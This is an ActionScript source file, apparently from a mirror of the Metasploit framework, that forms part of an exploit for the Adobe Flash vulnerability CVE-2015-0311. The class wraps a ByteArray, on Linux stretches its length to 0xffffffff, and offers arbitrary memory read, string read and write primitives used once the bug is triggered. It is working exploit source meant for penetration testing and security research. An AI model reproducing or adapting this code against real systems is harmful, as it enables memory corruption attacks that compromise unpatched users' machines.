Files
metasploit-gs/external/source/exploits/CVE-2015-0311/ExploitByteArray.as
T
2015-05-21 14:58:38 -05:00

83 lines
2.2 KiB
ActionScript

package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
Logger.log("[*] ExploitByteArray - lets_ready()")
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16))
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
}
}